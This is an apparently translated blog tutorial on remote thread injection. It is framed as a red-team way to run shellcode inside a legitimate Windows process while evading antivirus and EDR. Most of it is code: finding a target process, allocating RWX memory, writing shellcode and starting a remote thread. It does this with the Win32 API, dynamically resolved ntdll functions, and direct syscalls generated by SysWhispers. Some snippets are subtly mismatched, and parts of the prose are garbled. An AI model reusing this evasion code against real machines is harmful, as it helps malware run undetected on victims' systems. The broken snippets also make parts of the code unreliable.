Remote thread injection

In the red team operation, the purpose of the red team is to attack the blue team without exposing their actions. They use various techniques and procedures to hide C2 connections and data flows. The first step in the attack is to gain initial access. They will use customized malware and payloads to avoid defense tools such as anti kill software and EDR.

This article involves practical exercises of knowledge points: DLL injection virus experiment (understand the attack process of DLL injected virus through experiments)

Process injection is one of the important techniques used to evade the defense mechanism. Remote thread injection is a simple and reliable technology. Its working principle is to inject shellcode into another legitimate process and create a thread for the process to run payload.

We usually use standard windows API, Native API and direct syscalls to implement remote thread injection. These implementation methods have their own advantages and disadvantages. The following figure shows the working principle of standard windows API, Native API and direct syscalls in windows architecture.

Standard windows API

Advantages: easy to use

Disadvantages: can be detected by most AV/EDR

We first tested using the standard Windows API because it is simpler than the other two. First, we need to find our target process ID. We need to create a file called find_process function, which can get a process name. It uses the CreateToolhelp32Snapshot API to get the current process list, and uses Process32First and Process32Next to check one by one, and compares the process name with our target process. Using Process32First and Process32Next API s, you will get a pointer to the PROCESSENTRY32 structure, which can store process information, such as its name and ID. If it successfully finds the process, it returns its process ID.

DWORD find_process(char *process_name){

    PROCESSENTRY32 process_entry;
    process_entry.dwSize = sizeof(PROCESSENTRY32);

    //get the list of processes
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    //check processes to find TARGET_PROCESS_NAME
    if (Process32First(snapshot, &process_entry) == TRUE){
        
            while (Process32Next(snapshot, &process_entry) == TRUE){
                if (stricmp(process_entry.szExeFile, process_name) == 0){  
                    CloseHandle(snapshot);
                    return process_entry.th32ProcessID;
                }
            }
        }

    CloseHandle(snapshot);
    return 0;
}


Next, we need to use the OpenProcess function to open the target process. We can pass our parameters, including the target process id obtained from the previous step, which will return the handle of the process.

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);


Now we need to use the virtuallallocex function to allocate space for our shellcode in the target process. We should allocate page to this space_ EXECUTE_ Readwrite (read, write, execute) permission. This function returns the first address of the allocated area.

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);


Now we should use the WriteProcessMemory function to write our shellcode to the allocated memory area.

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);


At this time, you can create a thread in the target process and run the shellcode we wrote in the memory page We can use the CreateRemoteThread function You should also pass 0 as the dwCreationFlags parameter to indicate that the thread runs immediately after creation.

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);


In order to compile code in kali, we need to use the MinGW compiler.

x86_64-w64-mingw32-gcc main.c -o rti.exe


We send the output file to our windows machine to run it. If we open process hacker and view Notepad Exe process, there is a suspicious memory page with RWX permission in the memory part. If we open it, we can see the shellcode inside.

Native API

Advantage: it can bypass some AV/EDR

Disadvantages:

  • Hard to use
  • It may still be detected by most AV/EDR.
  • Cannot run on all versions of Windows

In order to facilitate interaction with the operating system, programmers generally use the standard API recommended by Microsoft (Win 32 API). Standard Windows APIs are packaged on the basis of native APIs. Native APIs or Undocumented APIs can be found in ntdll DLL library. Microsoft does not recommend using these APIs. You can look at the second figure and you can clearly see how these APIs work. The native API also uses syscalls to interact with the os kernel. Microsoft uses this architecture because it can change the operating system kernel without affecting the standard API.

Native API s are also called undocumented APIs because you usually can't find their official documents. We mainly check the usage of other people's codes or unofficial documents summarized by others.

In the previous section, we used the standard API to complete our work. Here we go further and try to use the native API. First, we need to add ntdll DLL is loaded into our malware process Then we need to define function pointers in exactly the same format as the original function we want to use, and initialize these pointers with the base address of these functions

We can use the LoadLibraryW function to dynamically load ntdll dll or any other dll into our running process, and it will return a handle to the library.

HMODULE hNtdll = LoadLibraryW(L"ntdll");


Then we define the function pointer type, and use the GetProcAddress function to obtain the base address of the function and assign it to the pointer. The following is an example of NtOpenProcess.

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");


We define our function type with the same parameters as the NtOpenProcess function. This is required for ntwritevirtualmemory, ntallocatevirtualmemory and ntcreatethreadex functions.

NtOpenProcess

As in the previous section, we start by opening the target process, but this time we use the NtOpenProcess function. This function does not return the Handle of the target process. We need to pass a Handle pointer as the first parameter.

#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}

typedef struct _CLIENT_ID
{
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;


OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci = { (HANDLE)procid, NULL };


Now we can use the NtOpenProcess function

NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);


NtAllocateVirtualMemory

We use the NtAllocateVirtualMemory function to allocate memory in the target process, and we define the prototype of this function.

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)


Then we get the base address of the function.

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")


We call this address "NtWriteVirtualMemory"

NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)


We passed a message called remote_ process_ Pointer to buffer, which represents the base address of the allocated space.

NtWriteVirtualMemory

Like the previous steps, first define the NtWriteVirtualMemory function prototype. We should pass our shellcode, the length of the shellcode, and the base address of the allocated space as parameters

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);


NtCreateThreadEx

Now we can create a thread in the target process and run our shellcode. We use NtCreateThreadEx to create a remote thread in the target process and run our shellcode.

NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)


Direct Syscalls

Advantages: all API monitoring tools in the user system cannot detect it.

Disadvantages:

  • May not run on all versions of Windows
  • Hard to use

In the previous steps, any API monitor and EDRs can detect our API calls and prevent our attacks. Now, if we use syscalls directly, no tool in the user system can detect API calls.

A serious disadvantage of syscalls is that its operation depends heavily on the version of the operating system. Our code may not run on different versions of windows. However, by using tools like SysWhisper, we can make the software run on different versions of windows. Run the following command to generate corresponding files on our windows 10 system.

syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10


This command will generate two files syscall ASM and syscall h. We need to add them to the visual studio project. Then we should enable MASM in the project and include the header file in our main code. Here we can call functions like Native API, but we don't need to load ntdll DLL, get the base address of the function, and define the function prototype. I think SysWhisper makes it very easy to use syscalls.

At this point, the article should come to an end. The article involves more basic knowledge of winows and mainly explains three common methods. I hope to bring a little inspiration and inspiration to all masters while writing the article.

Tags: Next.js entry mingw

Posted by Corin on Sat, 16 Apr 2022 23:01:50 +0300